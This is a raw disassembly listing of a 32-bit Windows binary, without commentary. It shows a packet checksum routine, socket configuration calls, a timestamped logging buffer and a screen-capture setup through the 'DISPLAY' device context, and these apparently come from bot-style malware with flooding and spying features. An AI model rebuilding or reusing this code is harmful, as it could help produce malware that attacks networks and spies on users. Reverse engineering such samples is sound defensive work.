		dd 8147E8h, 0E8458D00h,	8D50146Ah, 0E8508045h, 8138h, 0FF60858Dh
		dd 346AFFFFh, 6A82E850h, 8966FFFFh, 458DF845h, 50146AD4h
		dd 0FF60858Dh, 0E850FFFFh, 8114h, 6AE8458Dh, 858D5014h
		dd 0FFFFFF74h, 8102E850h, 46A0000h, 5388458Dh, 7376E850h
		dd 0C4830000h, 60858D44h, 6AFFFFFFh, 3DE85028h,	66FFFF6Ah
		dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 80CFE8h
		dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h,	503C6AFFh
		dd 0FFFC75FFh, 4CB68815h, 0FFF88300h, 45FF0874h, 0FDBAE908h
		dd 75FFFFFFh, 0BC15FFFCh, 0FF004CB6h, 4CB5B815h, 858D5000h
		dd 0FFFFFDC4h, 500875FFh, 43649468h, 0C0858D00h, 68FFFFFBh
		dd 200h, 76E6E850h, 0C4830000h,	589D3918h, 75FFFFFFh, 858D5323h
		dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh
		dd 0FFFFFDC0h, 0FF57ADE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh
		dd 0ED8h, 0FF44B5FFh, 33E8FFFFh, 59FFFF71h, 0E8905359h
		dd 22BBD18h, 0FFFC75FFh, 4CB6BC15h, 8458B00h, 0C06BD233h
		dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h
		dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h
		dd 43644468h, 5BE85000h, 83000075h, 9D391CC4h, 0FFFFFF58h
		dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh,	0FEC4858Dh
		dd 0FF50FFFFh, 0FFFDC0B5h, 571CE8FFh, 0C483FFFFh, 0C0858D14h
		dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF70A2h
		dd 0E8535959h, 22BBC88h
		db 90h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_4143A5
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_414397:				; CODE XREF: ___:0041439Fj
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414397
		pop	edi
		cmp	eax, 1


loc_4143A5:				; CODE XREF: ___:0041438Bj
		jnz	short loc_4143B2
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax


loc_4143B2:				; CODE XREF: ___:loc_4143A5j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
byte_4143CB	db 55h			; DATA XREF: sub_401ACD+6D49o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 737Dh, 858D5059h, 0FFFFFE70h, 6415FF50h, 50004CB6h
		dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh
		dd 5Fh,	19CC481h, 8D500000h, 0FFFC6C85h, 657068FFh, 0E8500043h
		dd 744Ah, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h
		dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0FE8FFFFh
		dd 83FFFF56h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h,	75FF0000h
		dd 6F98E8F0h, 5959FFFFh, 0BB7EE856h, 5590022Bh,	0EC81EC8Bh
		dd 0CCh, 358B5653h, 4270A8h, 8957DB33h,	0D6FFFC5Dh, 0FF68h
		dd 6A036A00h, 0F0458902h, 0B6A415FFh, 4589004Ch, 50D6FFF8h
		dd 741FE8h, 78BF5900h, 57000005h, 16A096Ah, 41BBE8h, 50595900h
		dd 50D8458Dh, 70BBE8h, 0CC48300h, 5A0BEh, 6E89000h, 2B0226C8h
		dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h
		dd 4CEDD81Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h
		dd 707Ch, 8D0CC483h, 8D50EC45h,	0FF509845h, 15FF0875h
		dd 4CB5C8h, 0FF68h, 0E8016A00h,	4150h, 0F505959h, 509E45B6h
		dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h,	42DC3468h
		dd 2FE85000h, 83000073h, 13EB18C4h, 0FF34858Dh,	0B868FFFFh
		dd 50004CE7h, 7943E8h, 8D595900h, 0FFFF3485h, 15FF50FFh
		dd 4CB664h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h
		dd 15FFA845h, 4CB624h, 0AE458966h, 7345E8h, 45896600h
		dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h
		dd 0C640B445h, 6606B545h, 89B65D89h, 1BE8BC45h,	66000073h
		dd 0E8C04589h, 7312h, 0C2458966h, 7309E8h, 0C4458900h
		dd 7301E8h, 0C8458900h,	66CC458Bh, 6AFF5025h, 0C6500C14h
		dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h
		dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h,	66D45D89h
		dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h
		dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh
		dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh
		dd 6FFFFFFh, 69D0E9E8h,	89669071h, 0FFFF5E85h, 60858DFFh
		dd 6AFFFFFFh, 458D5014h, 99E850C0h, 8D00007Ch, 0FFFF7485h
		dd 8D5057FFh, 0E850D845h, 7C88h, 0FF54858Dh, 9868FFFFh
		dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah
		dd 8D535088h, 5056A845h, 0FFF875FFh, 4CB68815h,	0FC45FF00h
		dd 0FFFE20E9h, 0F875FFFFh, 0B6BC15FFh, 458B004Ch, 5B5E5FFCh
; ---------------------------------------------------------------------------
		leave
		retn
; ---------------------------------------------------------------------------
word_4146CE	dw 8B55h		; DATA XREF: sub_401ACD+4CBFo
		dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h
		dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh
		dd 1082C7FCh, 1000002h,	0F3000000h, 37E8A5h, 0C4810000h
		dd 214h, 0EC858D50h, 68FFFFFBh,	4365A4h, 7160E850h, 858D0000h
		dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6CD8E8F0h,	0C483FFFFh
		dd 90006A14h, 2BB8BBE8h, 0EC8B5502h, 254EC81h, 56530000h
		dd 0FFBBh, 6A535700h, 0FF026A03h, 4CB6A415h, 0FFF88300h
		dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 436794h, 710CE850h
		dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h
		dd 0C7505702h, 1EC45h, 15FF0000h, 4CB604h, 75FFF883h, 0B815FF0Eh
		dd 50004CB5h, 43674468h, 8D1BEB00h, 0FF500C45h,	4CB66415h
		dd 0FFF88300h, 15FF2075h, 4CB5B8h, 67006850h, 858D0043h
		dd 0FFFFFDACh, 70B0E850h, 0C4830000h, 26EE90Ch,	66570000h
		dd 2DC45C7h, 2415FF00h,	66004CB6h, 8DDE4589h, 90500C45h
		dd 69CAFFE8h, 0A8358B71h, 89004270h, 0D6FFE045h, 8DF84589h
		dd 8D500C45h, 0FFFDAC85h, 66D468FFh, 0E8500043h, 706Ah
		dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh
		dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF522Eh
		dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h
		dd 858DF08Bh, 10Ch, 6F13E850h, 0F03B0000h, 93870F59h, 0BE000001h
		dd 41Ch, 0FFBB05EBh, 39000000h,	4CEDD83Dh, 6A527500h, 45895810h
		dd 458D50F0h, 0E85057CCh, 6CFCh, 8D0CC483h, 8D50F045h
		dd 0FF50CC45h, 15FF0875h, 4CB5C8h, 0E8016A53h, 3DD4h, 0F505959h
		dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h,	0DC3468ACh
		dd 0E8500042h, 6FB6h, 0EB18C483h, 0AC458D10h, 4CE7B868h
		dd 0CDE85000h, 59000075h, 5C65659h, 4CE9B8h, 2415FF45h
		dd 66004CB6h, 4CE9BAA3h, 0AC458D00h, 5C76650h, 4CE9BCh
		dd 89660001h, 4CE9BE3Dh, 0C005C600h, 80004CE9h,	0E9C105C6h
		dd 6611004Ch, 0E9C23D89h, 15FF004Ch, 4CB664h, 4CE9C4A3h
		dd 0E0458B00h, 4CE9C8A3h, 8C858D00h, 50000000h,	0D23D8966h
		dd 0E8004CE9h, 6E31h, 7559C085h, 6F90E810h, 0B9990000h
		dd 401h, 0EB52F9F7h, 8C858D0Eh,	50000000h, 6E10E8h, 0FF505900h
		dd 4CB62415h, 0CEA36600h, 0E8004CE9h, 6F66h, 401B999h
		dd 8680000h, 0F7000004h, 158966F9h, 4CE9CCh, 0B62415FFh
		dd 68004Ch, 66000004h, 4CE9D0A3h, 6F3CE800h, 0F7990000h
		dd 0D46852FBh, 0E8004CE9h, 6BDCh, 8D0CC483h, 106ADC45h
		dd 68565750h, 4CE9B8h, 0FFF475FFh, 4CB68815h, 0FFF88300h
		dd 0A5840Fh, 45FF0000h,	0C30BE8FCh, 2B900226h, 0D233F845h
		dd 3E8B9h, 8BF1F700h, 0C858DD8h, 50000001h, 6D80E8h, 59D83B00h
		dd 0FE74860Fh, 75FFFFFFh, 0BC15FFF4h, 8B004CB6h, 858DFC75h
		dd 10Ch, 1CF66950h, 0E8000004h,	6D59h, 8BD23359h, 0C1C68BC8h
		dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 43667068h
		dd 0AC858D00h, 50FFFFFDh, 6E3DE8h, 18C48300h, 214BD39h
		dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h
		dd 18Ch, 875FF50h, 0FF5001E8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh
		dd 0FF56FC75h, 4CB5B815h, 458D5000h, 0E468500Ch, 0EB004365h
		db 0ACh
byte_414A91	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6361o
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6CB5h, 858D5059h
		dd 0FFFFFE70h, 6CA7E850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh
		dd 4CB66415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h
		dd 67C068FFh, 0E8500043h, 6D8Ah, 0C483F633h, 0F875390Ch
		dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
		dd 0FDECB5FFh, 4FE8FFFFh, 83FFFF4Fh, 858D14C4h,	0FFFFFBECh
		dd 67AE850h, 75FF0000h,	68D8E8F0h, 5959FFFFh, 0BDE89056h
		dd 5F022BB4h
; ---------------------------------------------------------------------------
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+14h], 0
		push	esi
		push	edi
		jnz	short loc_414B6E
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		nop
		call	near ptr 71AB3E5Dh
		jmp	loc_414C2A
; ---------------------------------------------------------------------------


loc_414B6E:				; CODE XREF: ___:00414B58j
		mov	esi, [ebp+8]
		push	1
		pop	edi
		lea	eax, [ebp-8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp-8], edi
		call	near ptr 71AB155Ah
		nop
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword_4CB5CC
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-210h]
		mov	[ebp-108h], esi
		mov	[ebp-10Ch], edi
		push	0
		push	eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-20Ch], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp-210h], edi
		call	dword_4CB60C
		test	eax, eax
		jnz	short loc_414BD2
		or	eax, 0FFFFFFFFh
		jmp	short loc_414C2A
; ---------------------------------------------------------------------------


loc_414BD2:				; CODE XREF: ___:00414BCBj
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_414BDD


loc_414BD9:				; CODE XREF: ___:00414BFDj
					; ___:00414C21j
		mov	eax, edi
		jmp	short loc_414C2A
; ---------------------------------------------------------------------------


loc_414BDD:				; CODE XREF: ___:00414BD7j
		lea	eax, [ebp-10Ch]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_414BFF
		lea	eax, [ebp-210h]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_414BD9


loc_414BFF:				; CODE XREF: ___:00414BECj
		lea	eax, [ebp+8]
		mov	dword ptr [ebp+8], 4
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		nop
		call	near ptr 71AB4122h
		cmp	eax, edi
		jz	short loc_414BD9
		mov	eax, [ebp-4]
		neg	eax
		sbb	eax, eax


loc_414C2A:				; CODE XREF: ___:00414B69j
					; ___:00414BD0j ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		dw 8B55h
		dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h
		dd 6A000000h, 89026A03h, 0E890EC45h, 716A0DADh,	6AEC4D8Dh
		dd 26A5104h, 48A35053h,	0FF004CEEh, 4CB60415h, 0A8358B00h
		dd 0FF004270h, 61E850D6h, 5900006Ch, 196AC033h,	0FF00BD8Dh
		dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh
		dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h,	0FFFFFF78h
		dd 15h,	0FF7C85C7h, 16FFFFh, 45C70000h,	1780h, 8845C700h
		dd 35h,	508C45C7h, 0C7000000h, 519045h,	45C70000h, 5894h
		dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h
		dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h
		dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh,	0BC45C7h, 0C7000004h
		dd 599C045h, 45C70000h,	5DCC4h,	0C845C700h, 6B8h, 0EACC45C7h
		dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h
		dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h
		dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h
		dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh
		dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 2415FF50h
		dd 53004CB6h, 26A016Ah,	66858966h, 0FFFFFFFFh, 4CB6A415h
		dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h
		dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0B6BC15FFh, 5D39004Ch
		dd 8B0C75F8h, 78BFC4Dh,	0F40D8489h, 83FFFFFEh, 8304FC45h
		dd 7C70FC7Dh, 0EE4CBF83h, 0F068004Ch, 570042D0h, 6A85E8h
		dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh
		dd 452BD6FFh, 0B9D233F4h, 3E8h,	453BF1F7h, 8B45770Ch, 8BF845h
		dd 1574C33Bh, 0EC685750h, 57004367h, 0E8F04589h, 6A46h
		dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 3834h, 0FF505959h
		dd 4CB62415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h
		dd 0A87C1CFCh, 6853286Ah, 4CEDE8h, 6717E8h, 0FFFFBE00h
		dd 5C60000h, 4CEDE8h, 685645h, 0C6000004h, 4CEDF105h, 5C60600h
		dd 4CEDE9h, 37E6E808h, 0C4830000h, 15FF5014h, 4CB624h
		dd 0A366286Ah, 4CEDECh,	0B62415FFh, 0D80004Ch, 4CEDF0h
		dd 0D81D39FFh, 66004CEDh, 4CEDEAA3h, 1D896600h,	4CEDEEh
		dd 0FE681A75h, 6A0000FFh, 37A6E801h, 59590000h,	0C1084D8Bh
		dd 0CE2310E0h, 0BEBC10Bh, 4CE7B868h, 6415FF00h,	0A3004CB6h
		dd 4CEDF4h, 6808458Bh, 4000h, 4CEDF8A3h, 91D8800h, 0FF004CEEh
		dd 4CB62415h, 66535600h, 4CEE0AA3h, 3762E800h, 0F88B0000h
		dd 0E7C15356h, 3756E808h, 0C4830000h, 57F80310h, 0B62015FFh
		dd 0A3004Ch, 0A0004CEEh, 4CEE08h, 24087D8Bh, 6A500C0Fh
		dd 0EE08A214h, 8B66004Ch, 1D89F045h, 4CEE04h, 0E1D8966h
		dd 66004CEEh, 4CEDFEA3h, 243D8900h, 88004CEEh, 4CEE281Dh
		dd 2905C600h, 6004CEEh,	0B62415FFh, 0A366004Ch,	4CEE2Ah
		dd 0EDFEA166h, 0C766004Ch, 4CEE1005h, 89000200h, 4CEE143Dh
		dd 12A36600h, 89004CEEh, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h
		dd 53562F75h, 36CBE8h, 50595900h, 0B62415FFh, 0A366004Ch
		dd 4CEDFCh, 4CEDF4A1h, 0EE20A300h, 5C6004Ch, 4CEE09h, 41D8902h
		dd 0EB004CEEh, 0C653561Fh, 4CEE0905h, 95E81000h, 59000036h
		dd 15FF5059h, 4CB624h, 0A3C0B70Fh, 4CEE04h, 0EC05FF66h
		dd 0FF004CEDh, 4CEE0005h, 0FEA16600h, 6A004CEDh, 0FCBE5905h
		dd 0BF004CEDh, 4CEE2Ch,	0F21D8966h, 66004CEDh, 0EE0C1D89h
		dd 146A004Ch, 0E8BEA5F3h, 66004CEDh, 4CEE12A3h,	25E85600h
		dd 6AFFFF5Ch, 0EE206820h, 0A366004Ch, 4CEDF2h, 0FF5C13E8h
		dd 10C483FFh, 0EE0CA366h, 106A004Ch, 4CEE1068h,	286A5300h
		dd 4835FF56h, 0FF004CEEh, 4CB68815h, 0FC45FF00h, 0FFFC7D81h
		dd 0F000003h, 0FFFF238Ch, 5EE890FFh, 2B0226BCh,	0D233F445h
		dd 3E8B9h, 3BF1F700h, 0E770C45h, 901075FFh, 25B490E8h
		dd 0FDC2E902h, 5E5FFFFFh, 4CEE4CB8h, 0C3C95B00h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4150B4	proc near		; CODE XREF: sub_401ACD+71FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43D7E0
		mov	edi, 0B8h


loc_4150C8:				; CODE XREF: sub_4150B4+33j
		cmp	byte ptr [esi],	0
		jz	short loc_4150EB
		push	[ebp+arg_0]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4150EB
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43E360
		jl	short loc_4150C8
		jmp	short loc_41512D
; ---------------------------------------------------------------------------


loc_4150EB:				; CODE XREF: sub_4150B4+17j
					; sub_4150B4+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43D7E0[esi]
		push	ebx
		call	sub_41B590
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41B5F0
		push	9Fh
		lea	eax, dword_43D7F8[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41B5F0
		add	esp, 24h
		inc	dword_429498
		pop	ebx


loc_41512D:				; CODE XREF: sub_4150B4+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_4150B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415134	proc near		; CODE XREF: sub_401ACD+28DDp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_436808
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43D7E0


loc_41515E:				; CODE XREF: sub_415134+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415199
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_4367F4
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41B980
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 2Ch


loc_415199:				; CODE XREF: sub_415134+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43E360
		jl	short loc_41515E
		pop	edi
		pop	esi
		leave
		retn
sub_415134	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151AC	proc near		; CODE XREF: ___:004015A5p
					; ___:00401629p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		nop
		call	near ptr 2770150h
		mov	ebx, offset dword_4D324C
		mov	edi, 80h
		mov	esi, offset dword_4CF24C


loc_4151CE:				; CODE XREF: sub_4151AC+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_4151E5
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_4151E5:				; CODE XREF: sub_4151AC+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_4151CE
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4151AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415220	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_402077p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41C190
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4151AC
		add	esp, 14h
		leave
		retn
sub_415220	endp


; =============== S U B	R O U T	I N E =======================================



sub_41524C	proc near		; CODE XREF: sub_401ACD+27D4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CF24C
		xor	ecx, ecx


loc_415253:				; CODE XREF: sub_41524C+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D324C
		jl	short loc_415253
		cmp	[esp+arg_C], ecx
		jnz	short loc_415281
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_436854
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_415281:				; CODE XREF: sub_41524C+19j
		push	offset dword_436840
		call	sub_4151AC
		pop	ecx
		retn
sub_41524C	endp

; ---------------------------------------------------------------------------
byte_41528D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2887o
; ---------------------------------------------------------------------------
		sub	esp, 31Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-11Ch]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp-10h], edx
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], edx
		mov	[eax+110h], edi
		jnz	short loc_4152E0
		push	edx
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	offset dword_436884
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h


loc_4152E0:				; CODE XREF: ___:004152C0j
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415300
		lea	eax, [ebp-98h]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_415300
		mov	[ebp-8], eax


loc_415300:				; CODE XREF: ___:004152E7j
					; ___:004152FBj
		and	dword ptr [ebp+8], 0
		mov	esi, offset dword_4CF24C


loc_415309:				; CODE XREF: ___:00415361j
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_415363
		cmp	byte ptr [esi],	0
		jz	short loc_415352
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415338
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415338
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_418086
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415352


loc_415338:				; CODE XREF: ___:0041531Dj
					; ___:00415323j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h


loc_415352:				; CODE XREF: ___:00415314j
					; ___:00415336j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D324C
		jl	short loc_415309


loc_415363:				; CODE XREF: ___:0041530Fj
		lea	eax, [ebp-31Ch]
		push	offset dword_436868
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_41539D
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h


loc_41539D:				; CODE XREF: ___:0041537Bj
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-18h]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 46h, 0ACh
; ---------------------------------------------------------------------------
		sub	eax, [edx]
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4153BC	proc near		; CODE XREF: sub_401ACD+734Fp

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_4CB610
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_4155F0
		push	8
		push	edi
		call	dword_4CB62C
		push	0Ah
		push	edi
